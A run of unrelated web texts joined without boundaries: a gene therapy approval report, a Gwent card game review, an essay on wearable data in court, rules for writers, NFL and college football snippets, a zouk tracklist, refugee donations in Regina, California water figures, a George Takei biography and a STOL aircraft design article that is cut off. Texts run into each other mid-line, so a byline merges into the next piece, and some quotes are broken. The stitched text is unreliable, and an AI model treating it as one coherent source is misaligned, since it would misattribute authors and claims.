Glybera while giving patients who have to live with this rare disease access to a medical treatment," said Salmonson.Dr Christian Schneider, the Chair of the CAT, said the two committees worked closely throughout the procedure."I was concerned about reports in the public domain of differences between the two committees during the approval process, since the scientific assessment of the CAT and the CHMP were not far apart. The dossier is maybe," he explained.Jörn Aldag, CEO of uniQure, said the CHMP's positive recommendation is a major breakthrough for LPLD patients and for medicine."Glybera is poised to become the first in a class of gene therapy products approved in Europe to treat orphan diseases, rare conditions with a very high unmet medical need," he added.He said patients with LPLD are afraid to have a normal meal because of the possibility that afterwards they will suffer acute pain from pancreatitis, which can also mean a visit to intensive care.," said Aldag.Giving these patients' bodies the ability to break down fat particles naturally in the blood, without leading to the excruciating pain of pancreatitis is "what gene therapy is all about: curing disease at the genetic level," he added.Written by Catharine Paddock PhDI have a confession. Despite being such an avid gamer, I have never played The Witcher 3. Hopefully some of you haven’t lost all respect for me and will continue reading.
Card games have always been favorites of mine from traditional ones like Magic: The Gathering and Hearthstone to deckbuilders like Dominion and modern spins like Clash Royale. Gwent was such a popular minigame in The Witcher 3 that CD Projekt Red went all in and made it a standalone title. This past weekend’s PS4 stress test gave me a chance to try it out. Here’s how someone who didn’t play The Witcher 3 but loves card games sees Gwent.
Card Game Basics Are Basically All Gone
Health, mana, attacking, defending. None of these traditional mechanics exist in Gwent. Games are played in a best-of-three format and the player with the highest total strength wins each round. Players each play one card per turn. Most cards are units with a strength value that can only be played in certain rows on the board that add to your total strength. Each side of the board is separated into melee, ranged, and siege rows. There’s no inherent bonus to being in any one row, but certain abilities can modify all cards in a row or target single cards along with their neighbors. Any unit reduced to zero strength is sent to the graveyard. Spell cards that add or remove strength, duplicate units, move units between rows, and more round out your deck.
A best-of-three format makes Gwent more of a mind game than most card games. You draw 10 cards at the start of round one but you only get to draw two more cards before round two and just one extra card before the final round. This makes every card incredibly valuable. Any cards in your hand at the end of a round carry over while anything on the board is moved into the graveyard. If you don’t want to play a card, either because you think you have a round locked up or because you want to save cards for later, you can pass. Your opponent has the option to continue playing cards until they also pass. Figuring out when to pass and when to be aggressive is hands down my favorite part of Gwent. Do I want to bother playing more cards now when I might need them to win later rounds? Should I pass and hope my opponent concedes the round? Decisions, decisions.
There are two other major factors in Gwent: card group and weather. Cards come in three groups: bronze, silver, and gold. Most abilities specifically impact non-Gold cards which is a great way of making heavy hitting gold cards stay on the board and feel powerful. Weather effects are spells that impact the same row on both sides of the board. Fog, for example, lowers the strength of all units in the ranged row to one.
Deck Building Leaves A Lot Of Room For Creativity
Building a deck in Gwent, like most card games, is about sticking to a theme. The first thing you do when building a deck is choose a faction. Factions each have a set of cards to choose from as well as a passive ability. Once you have a faction, you choose a leader from that faction. Leaders are powerful ability cards that can only be used once per game. After that, a well designed UI helps you fill out your deck by separating your cards into rows. Decks must have between 25 and 40 cards and can contain any number of bronze cards, up to six silver cards, and up to four gold cards between your faction and the neutral faction.
Mixing and matching a faction, leader, and sets of cards to fit your play style is a lot of fun. I messed around with a few decks but my favorite uses the Monster faction with Eredin as the leader. The Monster faction’s passive keeps the last Monster unit you played on the board when switching rounds while Eredin’s ability summons an 11 strength unit. Both of those abilities play well with my devourer units that absorb the strength of units either from the graveyard or adjacent to them to create beefy units. I also run a few cards that bounce back from the graveyard like Regis, a six strength vampire that is resummoned with 10 strength after leaving the board, and a Prize-Winning Cow with one strength that automatically comes back as a Chortle with nine.
This flexibility even extends to gaining new cards. You can craft specific cards, of course, but you can also buy packs of cards in card kegs. Kegs give you four random cards and a choice between one of three higher rarity cards. Instead of simply getting a card pack/loot box and hoping you get something good, card kegs give you a bit of a choice. It’s another interesting spin on classic mechanics.
Easy To Pick Up, Fun To Outsmart Opponents
Since there isn’t a health pool to manage or a mana curve to worry about, Gwent is super easy to get started with. All you have to do is pick a card and play it. Want to play a 12 strength Geralt on turn one? Go for it. The tutorial decks are good enough to be somewhat viable, but you’ll probably want to make your own deck after you find a theme that interests you. Games are quick, too, only taking about seven to 10 minutes to play.
I’ve played about 20 games of Gwent and the allure of executing on my plans with the few cards I have keeps me coming back. I had a commanding lead in round three of a game before my opponent used a three strength debuff on my row of five units and doubled the strength of four of his eight strength ones. That was a hell of a turnaround. I’ve passed fairly early in round one and had it both work spectacularly and backfire in my face. The late round pressure that the Monster faction creates is a lot of fun but the combination of choosing who goes first and redrawing cards with a Scoia’tael faction deck is incredibly powerful.
I don’t feel like I’m anywhere close to being able to know what an opponent might play next. Nearly every round ends with a debate of whether to be aggressive to seal a win or concede and play for the next one. Gwent requires a lot of thought and so far, I’m loving it.
Gwent has been a lot of fun in the three or so hours I’ve put into it. Since I haven’t played The Witcher 3, references and reasons why cards do certain things are lost on me. I don’t know why playing any unit between Eskel, Vesmir, and Lambert will summon the other two or why Yennefer can summon a Unicorn, but that doesn’t really matter. What matters is whether or not the game is fun and engaging which it absolutely is. Factions and leaders allow for a ton of flexibility while passing, the board itself, and the removal a summoning resource breathe life into an old genre.
My biggest hope is that a mobile version is in the works. Playing a card game on a TV with a controller feels a bit odd and scrolling between cards is wonky but the few games I played remotely on my Vita felt great. I’ve logged the majority of my Hearthstone hours on my phone and Gwent would be a great substitution. As far as quality of life goes, my only major complaint is not knowing what a unit summoned by another will do. For example, seeing that Yennefer can summon a Unicorn from the deck builder is great but there’s no way (on console) to know what that Unicorn unit does without playing one in a match. PC players can do this by mousing over the name of the summoned units in the deck builder so hopefully something similar comes to console.
Have you played Gwent? What’s your favorite deck? Why does everyone seem to hate the Nilfgaardian faction? Sound off below!Vivametrica says that they are doing more than just enabling consumers to get access to their own data. They are also working with wearable tech companies and healthcare providers, and seeking to “reimagine employee health and wellness programs.” But what happens when there are conflicting interests between individuals who want to monitor data about their body and employers, wearable manufacturers and healthcare providers, and now the law?
Vivametrica isn’t the only company vying for control of the fitness data space. There is considerable power in becoming the default standard-setter for health metrics. Any company that becomes the go-to data analysis group for brands like Fitbit and Jawbone stands to make a lot of money. But setting standards isn’t as simple as it may seem.
Medical research on the relationship between exercise, sleep, diet, and health is moving extremely rapidly. The decisions about what is “normal” and “healthy” that these companies come to depends on which research they’re using. Who is defining what constitutes the "average" healthy person? This contextual information isn’t generally visible. Analytics companies aren’t required to reveal which data sets they are using and how they are being analyzed.
The current lawsuit is an example of Fitbit data being used to support a plaintiff in an injury case, but wearables data could just as easily be used by insurers to deny disability claims, or by prosecutors seeking a rich source of self-incriminating evidence. As the CEO of Vivametrica, Dr. Rich Hu, told Forbes, insurers can’t force claimants to wear Fitbits. But they can request a court order from anyone who stores wearable data to release it. Will it change people’s relationship to their wearable device when they know that it can be an informant? These devices can give their own interpretation of your daily activity, sleep, and moods, and that analysis may be seen to carry more evidentiary weight than the owner’s experience.
The law provides very few answers to these questions. In America, the Fifth Amendment protects the right against self-incrimination and the Sixth Amendment provides the right in criminal prosecutions “to be confronted with the witnesses” against you. Canadian courts have similar safeguards. Yet with wearables, who is the witness? The device? Your body? The service provider? Or the analytics algorithm operated by a third party? It’s unclear how courts will handle the possibility of quantified self-incrimination.
This becomes significantly more complex considering the variability of data with wearable trackers. The Jawbone UP, Nike Fuelband, Fitbit, and Withings Pulse all have their own peculiarities in how they work: Some will count moving your arms around as walking (which is great if you want writing to count as exercise), others can’t easily register cycling as activity. The sleep-tracking functions deploy relatively crude methods to determine the division between light and deep sleep. This “chaos of the wearable” might be merely amusing or frustrating when you're using the data to reflect on our own lives. But it can be perilous when that data is used to represent objective truth for insurers or courtrooms. And now that data is being further abstracted by analytics companies that create proprietary algorithms to analyze it and map it against their particular standard of the "normal" healthy person.An occasional MR reader sent me these:
I.
Anyone intending to embark on a major work should be lenient with
himself and, having completed a stint, deny himself nothing that will
not prejudice the next.
II.
Talk about what you have written, by all means, but do not read from it
while the work is in progress. Every gratification procured in this way
will slacken your tempo. If this regime is followed, the growing desire
to communicate will become in the end a motor for completion.
III.
In your working conditions avoid everyday mediocrity. Semi-relaxation,
to a background of insipid sounds, is degrading. On the other hand,
accompaniment by an etude or a cacophony of voices can become as
significant for work as the perceptible silence of the night. If the
latter sharpens the inner ear, the former acts as a touchstone for a
diction ample enough to bury even the most wayward sounds.
IV.
Avoid haphazard writing materials. A pedantic adherence to certain
papers, pens, inks is beneficial. No luxury, but an abundance of these
utensils is indispensable.
V. Let no thought pass incognito, and keep your notebook as strictly as the authorities keep their register of aliens.
VI.
Keep your pen aloof from inspiration, which it will then attract with
magnetic power. The more circumspectly you delay writing down an idea,
the more maturely developed it will be on surrendering itself. Speech
conquers thought, but writing commands it.
VII.
Never stop writing because you have run out of ideas. Literary honour
requires that one break off only at an appointed moment (a mealtime, a
meeting) or at the end of the work.
VIII. Fill the lacunae of inspiration by tidily copying out what is already written. Intuition will awaken in the process.
IX. Nulla dies sine linea — but there may well be weeks.
X. Consider no work perfect over which you have not once sat from evening to broad daylight.
XI. Do not write the conclusion of a work in your familiar study. You would not find the necessary courage there.
XII.
Stages of composition: idea — style — writing. The value of the fair
copy is that in producing it you confine attention to calligraphy. The
idea kills inspiration, style fetters the idea, writing pays off style.
XIII. The work is the death mask of its conception.Getty Images
With the Cowboys losing in dramatic fashion on Sunday, some additional drama could be coming.
Coach Jason Garrett’s contract has expired. He is a free agent. He can be hired by any other team.
Owner Jerry Jones recently said he intends to keep Garrett. But other owners can now pursue him.
In 2008, Garrett rebuffed the advances of the Falcons and Ravens, choosing an offensive coordinator position in Dallas along with the chance to eventually become the head coach. Now that he’s done it for four full seasons and half of 2010 on an interim basis, Garrett has the chance to look around.
Why shouldn’t he? If nothing else, it’ll force Jones to pay more than he wants to pay.
Vacancies currently exist with the Jets, Bears, Falcons, Raiders, and 49ers.I wanted to put out a mix based around my favorite non-zouk tracks that are technically zoukable. I added some light percussion loops I created to make it easier for people new to Brazilian zouk to figure out what the fuck to do with this shit--my gift to everybody single, partnered, or "it's complicated" this Valentine's Day. Get down, ya'll :D
Tracklist:
01 Bryson Tiller - Don't
02 Crush All Bits - So Please Babe, ft. Chris Brown
03 The Weeknd - Acquainted
04 Rihanna - Sex With Me
05 Kiiara - Feels
06 Michl - Die Trying
07 Esta - 1738 (Fetty Wap Trap Queen Flip)
08 Sevyn Streeter - It Won't Stop (feat. Chris Brown)
09 Tory Lanez - Say It
10 Alina Baraz & Galimatias - Make You Feel
11 Partynextdoor - Come and See Me, ft. DrakeFive families of Syrian refugees will be arriving in Regina before Christmas, Mayor Michael Fougere said Saturday.
He’s not sure how many people they’ll be, their demographics or even where they’ll be living, but one thing is certain: They’ll have first dibs on tons of items donated in Regina.
About 20 volunteers gathered Saturday morning to sort through the donations at a City of Regina facility on Winnipeg Street. There was everything from clothing and shoes, to electronics, kitchenware and children’s toys.
And this is it: Regina is done collecting items for Syrian refugees.
“The city told us to stop because they felt we had enough stuff,” said Niall O’Hanlon, who spearheaded a donation campaign for the refugees.
He said he had to empty two airport storage facilities three times.
When O’Hanlon put a call out for donations on Facebook a little more than three weeks ago, “I thought I was going to be lifting maybe two couches or something,” said O’Hanlon. “It kind of turned into a full-time job for three weeks. … I didn’t mean it to take off like it did.”
He estimates they’ve collected $180,000 worth of furniture and clothing for the refugees.
Fougere is “proud” of the generosity the community has shown, but he’s not surprised.
“We are a city and province of volunteers,” said Fougere.
Raman Sekhon was one of them on Saturday, sorting through clothing. Having recently moved here from the United States, she “just thought I’d make a difference in the Regina community.”
Sadaf Ayub was working alongside Sekhon; Ayub heard about the need for volunteers through the Islamic Association.
“I suppose if you are going and you don’t have anything, so what will you need? So you will need everything to settle down your life,” said Ayub.
[email protected]
twitter.com/LPAshleyThe results are in and California has failed to meet the water conservation target ordered last year by Governor Jerry Brown. To be fair though, the state did come pretty close. A new report from the State Water Resources Control Board reveals that, between July and February, California managed to conserve 23.9 percent of the water used over the same period in 2013. This puts the state just a little shy of the 25 percent goal set by the governor.
Not very surprisingly, the primary saboteur of the savings plan appears to be the Southland. Perhaps envious of all the rainwater that El Niño has brought to other parts of the state, SoCal residents and businesses only managed to conserve 6.9 percent of water used over the same period two years ago. The South Coast also had the state's lowest savings percentage in July, as well as the second lowest in November, August, and June.
Southern California is home to some of California's most wasteful water districts. As the LA Times reports, four water suppliers in the state have been fined for repeatedly falling short of savings goals—two of the four offenders (Redlands and usual suspect Beverly Hills) are part of the South Coast Region, and the other two districts are nearby Indio and Coachella Valley.
Thanks to some first-rate drought shaming efforts, though, Beverly Hills was able to (sort of) get its act together in February--saving 16 percent more than in 2013 and coming in ahead of the regional average. Redlands, on the other hand, only managed a 4 percent savings.
The worst offender for the month was the Rainbow Municipal Water District, located in San Diego County. With a 36 percent savings goal, this district somehow managed to use nearly 40 percent more water than it had in 2013. In all, nine of the 10 most wasteful districts in February could be found in the South Coast region. Even more troubling, more than 100 water suppliers in the region did not meet their nine-month conservation goals.(written from a Production point of view Real World article
George Hosato Takei (pronounced "Ta-Kay") (born 20 April 1937; age 81) is a Japanese-American actor best known for his role as Hikaru Sulu in the Star Trek franchise.
He debuted as Sulu in the second pilot of Star Trek: The Original Series, "Where No Man Has Gone Before", with his character making the transition from the physics department to the helm by the next episode, "The Corbomite Maneuver". In total, he appeared in 51 of the 79 original series episodes.
He later voiced Sulu in Star Trek: The Animated Series and displayed his vocal talents playing other guest characters. He then reprised the role in the first six Star Trek motion pictures, and "Flashback", an episode of Star Trek: Voyager. His image also appeared in Star Trek Beyond, in a photograph that was among Spock's possessions bequeathed to his alternate reality counterpart.
He has both narrated and recorded dialogue as Sulu in numerous audio novels and interactive games. Due to the fact that Sulu did not appear in the episode "The Trouble with Tribbles" (he was filming The Green Berets at the time), Takei was the only Original Series star not to appear in the Star Trek: Deep Space Nine 30th anniversary episode "Trials and Tribble-ations". He did, however, appear as Captain Sulu in Star Trek: Voyager's 30th anniversary episode, "Flashback".
Takei most recently played Sulu in an episode of the fan films Star Trek: New Voyages entitled "World Enough and Time", which premiered in 2007 and featured fellow Trek performers Grace Lee Whitney, Majel Barrett Roddenberry, James Cawley, Jeffery Quinn, and John Carrigan. The episode was directed by Marc Scott Zicree and written by Zicree and Michael Reaves. Stuntman Tom Morga worked as fencing coach for Takei while stunt coordinator Leslie Hoffman served as his personal assistant.
Issue 356 of Starburst Magazine stated that Takei would be appearing in 2009's Star Trek, directed and produced by J.J. Abrams. The magazine claimed that Takei would be featured in a "flash forward sequence" with Leonard Nimoy. [1] (X) TrekMovie.com subsequently confirmed this to be false. [2]
Contents show]
Personal Edit
Takei was born in Los Angeles, California, on 20 April 1937. According to Takei on the 9 January 2006 airing of The Howard Stern Show, he was named after King George VI, who had just become king of the United Kingdom.
In 1942, Takei and his family were interned by the United States at the Rohwer War Relocation Center in Arkansas, along with many other Japanese-Americans. They were later sent to the Tule Lake War Relocation Center in California and returned to Los Angeles after World War II. Takei discussed this experience in a 1996 interview, stating:
World War II for Americans of Japanese ancestry was one of the most anguishing tests of the meaning of citizenship. To be imprisoned in barbed wire camps by your own government for no other reason than that you are descended from a nation with which your country is at war was one of the most trying and enraging experiences anyone could go through. I still marvel at that amazing generation of Japanese Americans who put on the uniforms of their jailer to fight with such extraordinary valor for the fundamental ideals of this country. I know the value of my American citizenship because I'm aware of the incredibly high price that has been paid for it. [3] (X)
Takei was educated at Mount Vernon Junior High School (where he served as student body president) and Los Angeles High School. He attended the University of California in Berkeley but transferred to the University of California in Los Angeles (UCLA), where he began studying theater. He earned a bachelor of arts in theater from UCLA in 1960, followed by a master of arts in theater four years later. After attending the Shakespeare Institute in England and the Sophia University in Tokyo, Japan, he returned to the States where he studied acting at the Desilu Workshop.
Takei has been with his husband, Brad Altman, since 1988, having met at a gay and lesbian running and walking club. On 28 October 2005, Takei decided to publicly "come out of the closet" as gay, though this had been open information for some time. The story was widely reported in the media and was hailed by LGBT communities as a positive step for the larger gay community as well as for Star Trek.
Takei and Altman currently reside in Los Angeles, California. In 2008, following the California Supreme Court's decision to overturn a ruling which banned same-sex marriages in the state, Takei announced that he and Altman were engaged to be married. [4][5][6] Takei and Altman married in the Democracy Forum at the Japanese American National Museum in Los Angeles, California on 14 September 2008. Takei's TOS co-stars Walter Koenig and Nichelle Nichols were Takei's best man and "best lady", respectively. [7] Leonard Nimoy and his wife, Susan Bay, were among the invited guests. [
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ason Virgil had Fresno State's only touchdown on a 6-yard pass to Da'Mari Scott late in the first half. But the Bulldogs were quickly overmatched finishing off a brutal two-week stretch of road games at Alabama and at Washington.
UP NEXT
The Huskies open Pac-12 Conference play at Colorado. It's a rematch of last year's Pac-12 title game won by the Huskies.Anatomy of a STOL Aircraft:
Designing a Modern Short Take-Off and Landing Aircraft. "Form follows function"
By Chris Heintz The world truly seems to be smaller today, thanks in large part to aviation. This has created a renewed interest in many of us to see what is around us, and not just to dash as quickly as possible to a new destination. While recreational aviation certainly has its share of high-performance (fast) aircraft, I think that what continues to draw most of us to flying is the shear excitement, enjoyment and freedom of being at the controls of our own aircraft. We want aircraft to give us the ability to fly cross-country, but we want to be able to see and visit the country were flying over. The popularity of aircraft like the Piper Cub has endured and grown over the years, not only on account of nostalgia, but because these aircraft are just plain fun and easy to fly and provide good grass field capability (most classic aircraft were developed in a time when paved runways were rare). However, because of their age, many of these older designs do not offer modern improvements that most of us take for granted, such as electrical systems, side-by-side seating, all-metal construction, steerable nosewheel, etc. And of course, classic airplanes are becoming scarce and require significant maintenance just to keep them airworthy. For most of us recreational pilots, were already where we want to be when were in the air, and we therefore get the most enjoyment from flying an airplane thats easy and fun to fly, that provides good comfort and visibility, and that has low operating costs (who cares about miles per gallon we want low hourly operating costs). When we do fly cross-country, the trip is as important (if not more) as arriving to the destination. A STOL (short take-off and landing) airplane gives us the ability to go to more places, especially in remote areas, where the world becomes your runway (this is an important safety feature too). With good payload, we have the ability to haul all the bags we want (camping equipment), or amphibious floats can give us the added capability and freedom to operate from water. Of course, a STOL airplane also allows us the opportunity to operate the aircraft out of our own "back yard." Just as sport utility vehicles (SUVs) have become very popular in the automotive world, many recreational pilots are also seeking maximum utility from their aircraft.
S T O L C H 8 0 1 Ultralight aircraft provide an easy and inexpensive way to experience STOL performance, and the popularity of ultralights and other light kit aircraft has proven the demand for low and slow flying, but ultralights, by their very definition, have many limitations low speed, low payload, low comfort level, and wind limitations, to name a few of their inherent limitations. Today, with the knowledge accumulated for over a century on aerodynamics, structural strength, on their relation in aerolasticity (flutter), on ergonomics and with the ongoing development of modern, efficient, reliable and lightweight engines, it is relatively easy for almost anyone curious enough to seriously study the above fields to design a light aircraft capable of carrying two to four occupants. As a professional light aircraft designer and engineer I have done just that quite a few times. In the mid-eighties, I decided to design a light kit aircraft that combined the advantages of an ultralight aircraft with the characteristics of a modern real airplane. Thus I designed the STOL CH 701 aircraft: It needed to offer outstanding short and rough field performance, acceptable cruise performance, good cross-wind capability, excellent visibility, comfortable side-by-side seating, and a durable all-metal airframe - that was easy to build and maintain. The STOL CH 701 design proved to be very successful (more than 400 STOL CH 701 aircraft flying) and I subsequently designed a 4-seat utility version, the STOL CH 801 (introduced in 1998). The two seat STOL CH 750 was introduced in 2008 to take advantage of the new Sport Pilot category and to provide more cabin room than the original 701 and new engine choices. My STOL designs have sometimes been called ugly because of their unconventional shape. However, with form following function, a study of the unique shapes shows the inherent beauty of these aircraft in their interesting, unique and highly effective aerodynamic and design features. Following is an explanation of the basic design concepts that I have applied in designing my STOL aircraft: POWER Overpowering an existing aircraft is the easiest way to achieve short take-off performance (with enough power anything will take-off in a short distance!), but this requires a lot of fuel for acceptable endurance, and is an expensive, heavy, and inefficient way to obtain STOL performance, and does not provide good slow flight or payload due to the heavier engine weight and/or fuel load requirement. My experience tells me that I need 60 to 100 hp for a two-seat aircraft, or 150 to 200 hp for a four-seater capable of carrying 1,000 lbs. As an airplane designer and builder (and not an engine manufacturer), I design aircraft around existing and readily-available engines. For maximum flexibility and to keep costs low, a kit aircraft must be designed to accommodate different engine types so that owners can choose among existing (and new) powerplants.
S T O L C H 7 5 0 WING To be practical, a STOL aircraft must be able to fly at very low speeds, yet it must also offer acceptable cross-country (cruise) performance. The next big challenge is to design a wing with a high lift coefficient so that the wing area is as small as possible, while take-off / landing speeds are as low as possible. Relatively short wings make the aircraft easier to taxi, especially when operating in an off-airport environment with obstructions, and requires less space for hangaring, while being easier to build, and stronger (less weight and wing span to support). The stall of the wing occurs at the highest lift coefficient on an airfoil, when the airflow can no longer go around the airfoils nose (leading edge) and separates from the upper wing surface.
Figure 1 Stalled Airfoil To delay the stall to a higher lift coefficient, many airplanes are equipped with flaps (on the wing trailing edge), and a few designs use slats (on the wing leading edge) to further lower the stall speed. The following diagram illustrates the use of flaps and leading-edge slats to increase a wings lift coefficient.
Figure 2 Lift Coefficient vs. Airfoil Angle of Attack The lift coefficient can thus be effectively doubled with relatively simple devices (flaps and slats) if used on the full span of the wing. Leading Edge Slats Leading edge slats prevent the stall up to approximately 30 degrees incidence (angle of attack) by picking up a lot of air from below, where the slot is large (Figure 3), accelerating the air in the funnel shaped slot (venturi effect) and blowing this fast air tangentially on the upper wing surface through the much smaller slot. This "pulls" the air around the leading edge, thus preventing the stall up to a much higher angle of incidence and lift coefficient. The disadvantage of the leading edge slat is that the air accelerated in the slot requires energy which means higher drag. As the high lift is needed only when flying slowly (take-off, initial climb, and final approach and landing) the temptation for the designer is to use a retractable device which closes at higher speeds to reduce drag.
Figure 3 Leading Edge Wing Slats This can be done in different ways: The slats can be mounted on roller rails so that at high angles of attack they are automatically pulled out by the airstream around the leading edge, and in cruise (at lower angle of attack) they are pushed in. This is a relatively simple system and not too heavy to design, but it has one big disadvantage: in gusty weather only one wing slat may be drawn out while the other stays in, creating a potentially major problem for the pilot who now needs full aileron just to keep the airplane level! So the safe way is to connect the right and left wing slats mechanically to prevent asymmetric extension. However, creating such an installation is heavy and more complex. The efficiency gained by the system must be very significant to compensate for the extra weight of the device (not to mention cost and complexity). A pilot controlled slat extension system is another approach, but has the same drawbacks: weight and complexity.
Figure 4 Fixed Leading Edge Slat Lift vs. Drag But there is a simple solution: The amount of drag increase created by the slot depends on the amount of air going through the slot in the whole range of flight. In take-off and landing configurations we want maximum lift, and in cruise we want minimum drag. By equalizing the amount of air pressure on the top and bottom of the wing at the leading edge (where the slat is located) in cruise configuration, there is no air flowing through the slot, and thus no lost energy (or extra drag created). Equalizing air pressure is easily achieved in cruise configuration with a slight trailing edge upward deflection of the wing flap. Figure 4 illustrates the lift coefficient and drag of such a wing design. The illustration clearly shows that the wing with slats and flaps is the solution for slow flight where high lift is required, and also has little drag penalty in cruise. It is a light weight wing with no moving mechanical parts associated with the leading edge slats. A noticeable drawback is a relatively small low drag range, which means a narrow economical cruise speed range, but the overall configuration provides the best wing design for a STOL aircraft. Thus, I have chosen this fixed slat configuration for the two-seat STOL CH 701 and the new four-seat STOL CH 801. The wing is lightweight, yet yields a very high lift coefficient, making it a very reliable, simple, and a low-cost high lift device for these two designs. I have also used a relatively thick wing chord on these designs to provide high lift. The thick wing chord, combined with a relatively short wing span, also provides maximum strength and low weight. With its constant chord (as opposed to tapered) the wing is as also easy to build and assemble. Wing Tips For a long time, Ive said that Hoerner wing tips should be used on most light aircraft designs, since they increase the effective wing span from 8" to over one foot without having to carry any additional weight: As we all know, there is low pressure on top of the wing, and higher pressure on the bottom of the wing, with the pressure difference creating the lift that allows us to fly. Toward the tip of the wing, the high pressure feels that there is less pressure on the top of the wing (just around the tip), and wants to go there to equalize the pressure, thus creating a secondary flow out toward the tip of the wing. This secondary outward flow generates a vortex (a circular motion) behind the wing, as illustrated below.
Figure 5 Wing Tip Vortices With a rounded or squared wing tip, the vortex is centered around the wing tip, as shown above With drooped or raised wing tips, the vortex is forced further out. Drooped wing tips are often seen on STOL aircraft, but they create a weight penalty since they need to be added to the wing.
Figure 6 Drooped / Raised Wing Tips If the wing tip is cut at 45-degrees with a small radius at the bottom and a relatively sharp top corner, the air from the secondary flow travels around the rounded bottom but cant go around the sharp top corner and is thus pushed outward.
Figure 7 Hoerner Wing Tips The performance of the aircraft depends on the distance from the right to the left tip vortices (the effective wing span), and not the actual measured geometric span. Hoerner wing tips provide the largest effective span for a given geometric span or a given wing weight. CONTROLS Because a STOL airplane can fly at very low speeds, and is developed to operate in unimproved areas (often with obstacles), controllability of the aircraft at slow speeds is essential. This is one area that Ive found to be lacking in many high-lift light aircraft designs while many of these planes have a low stall speed, the pilot needs to fly the aircraft at a much higher speed in order to maintain control. Flaps, Ailerons, and Flaperons Full span ailerons, which also act as full span flaps, are thus used (called flaperons). The full span provides maximum high lift (flaps) for the entire wing and roll controllability (ailerons) at a minimal weight since both functions are shared by the same control surface (flaperon), with a simple mechanical mixer controller. We all know that close to the airfoil, the air is slowed down by friction. This slowed down layer of air is called the boundary layer. The boundary layer builds up thicker when moving from the front of the airfoil toward the wing trailing edge. Another factor is called the Reynolds effect, which means that the slower we fly, the thicker the boundary layer becomes. Friction and the Reynolds effect result in an approximately �" thick boundary layer toward the rear portion of a 4 to 5 ft. chord wing designed to fly at low speeds. A conventional flap or aileron thus would have 1 or 2 degrees of deflection with very little control effectiveness because it deflects in this not very aerodynamically active boundary layer. To avoid this loss of controllability, the flaperon can be designed as a separate small wing, moving outside of the wings boundary layer and slipstream. Additionally, such a flaperon system (often called a "Junker" flaperon) is effective even at high angles of attack because it is positioned below the wing and thus continues to get fresh undisturbed air even when the wing is at the extreme angle of attack (see Figure 8).
Figure 8 Boundary Layer Horizontal Tail Also, because a high lift wing is designed to fly at an unusually high angle of attack (30 degrees compared to 15 to 17 degrees for a conventional wing) we need to achieve this high angle by pushing the tail down much more than with a conventional wing. Short of building a very large horizontal tail, we need a large negative lift coefficient on the tail. This is achieved first with an inverted stabilizer airfoil, and secondly with a virtual venturi. Let me explain: From an aerodynamics standpoint we know that a venturi provides lower pressure and higher speeds at the smallest section, as illustrated in Figure 9.
Figures 9, 10 & 11 Venturi The increased speed will overcome the tendency of separation when the flow is deflected. We also know that when we have a half venturi (Figure 10) the airflow creates a mirror image and follows the principles of a complete venturi (Figure 11), and thus the increased speed from the venturi effect follows the elevator of the horizontal tail even when deflected in the trailing edge down position (thus the virtual venturi effect). Rudder Ive used the all-flying vertical tail (rudder) on my STOL designs that Ive used on many of my earlier designs because it provides exceptional crosswind capability. With a STOL design, when the crosswind is higher than the aircrafts stall speed (this actually happens!) you can just face the airplane into the wind and literally take-off vertically (even if you have to face across the runway)! Another advantage of the all-flying vertical tail is that it is physically smaller (and shorter) than a corresponding conventional fin and rudder vertical tail, and thus lighter; and being a single piece it is easier to construct. It also provides excellent spin recovery capability because the actual moving part (rudder) is larger. The rudder itself is an actual symmetrical airfoil (and not just a flat board), helping to make it effective and responsive even at lower speeds. The main wings of the STOL designs taper at the wing root to allow undisturbed air to flow from the propeller to the empennage (tail sections). The position of the tail above the fuselage, with the direct undisturbed air from the prop, provides excellent and responsive control from the tail sections, compared to the sluggish response a conventional configuration provides at slow flight. Short take-off / Landing To best achieve short take-off performance, the wings high angle of attack must be achieved at or near the ground, and we thus need a general aircraft configuration that permits this high angle of attack. We can do this either by using a very long main gear in tailwheel configuration (raising the nose) or by raising the rear fuselage (in tricycle gear configuration).
Figure 12 Landing Gear Configuration With the taildragger configuration, the whole cabin is awkwardly inclined on the ground, and the long gear legs mean that the landing gear structure is either weak or heavy. The inclined cabin and high gear make access to the cabin difficult, especially for passengers or cargo loading, and can severely limit the pilots forward visibility while on the ground (taxiing and take-off).
Figure 13 Cabin Angle Most pilots today are much more comfortable (and safer) with a tricycle gear configuration, as nearly all trainers are tricycles. A tricycle gear is very stable on the ground, whereas a taildragger gear is not and needs continuous control input, especially in crosswind conditions. Aircraft insurance rates reflect this. In a tricycle gear configuration, the wing is at a "neutral" angle of attack while the aircraft is on the ground, as opposed to a maximum lift angle with a taildragger (see Figure 12). Tailwheel airplanes are thus much more susceptible to the wind while taxiing the aircraft, or even while parked outdoors (this will be where the aircraft will spend the vast majority of its life, unless hangared). Despite the many advantages of a tricycle gear system, many older aircraft designs (as well as many modern STOL designs) use a tailwheel configuration this is mainly because the technology and expertise did not exist to build a lightweight and strong nosewheel system, and many designers today have little experience (or interest) in landing gear structures. Off-airport operation dictates that a STOL aircraft have a durable and forgiving landing gear system. Landing gear systems seem to be a major weakness on many light aircraft designs, requiring that these aircraft be operated from paved runways, despite their capability to take off and land in short distances.
Figure 14 Landing Gear With my STOL designs, I have used a simple single-piece double cantilever spring leaf for the main gear. While its not the lightest gear system around, it provides excellent rough-field capability when combined with large tires, and is very durable, simple and virtually maintenance-free. The nosewheel strut is steerable, with direct linkage to the rudder pedals, and uses a single heavy-duty bungee for shock absorbency. The STOL CH 801 borrows the nosegear assembly from the ZENITH CH 2000, my type-certificated production trainer design. The main wheels are also equipped with individual hydraulic disk brakes (activated with toe brake pedals) for exceptional ground handling. Experience has shown these landing gear systems to be well-suited for grass field operation, while being appropriate for low-time pilots. (Nosewheel system wear is minimized by reducing the pressure on the nosegear by using the appropriate elevator inputs the effectiveness of the elevator makes this easy with my STOL designs). FUSELAGE The rectangular cabin offers maximum usable space for occupants and cargo. The 4-seat STOL CH 801 cabin is long enough to fit a stretcher along the right side of the aircraft across the folded co-pilot seat, while still providing adequate space for the pilot and one passenger, or two 50-gallons drums can be carried in the rear. Of course, for those using the STOL CH 801 as a sport utility plane, theres enough room inside for two to camp in, and more than enough baggage area for extended cross-country trips. The two-seat STOL CH 701 is surprisingly roomy for an aircraft its size and weight. The large doors offer easy access to the cabin for occupants and bulky baggage, and the aircraft can be operated with the doors removed for maximum visibility and outdoor feel. While its maybe not the most aesthetically pleasing, the square fuselage is very simple to build and helps to provide good yaw stability and spin dampening (resistance) due to its flat sides and distinct corners. CABIN / VISIBILITY Pilot and passenger visibility is an important element of aircraft design, and is often overlooked by designers. Good visibility is especially important in a STOL aircraft where the pilot needs to be able to see obstacles when "bush" flying. Passengers also need 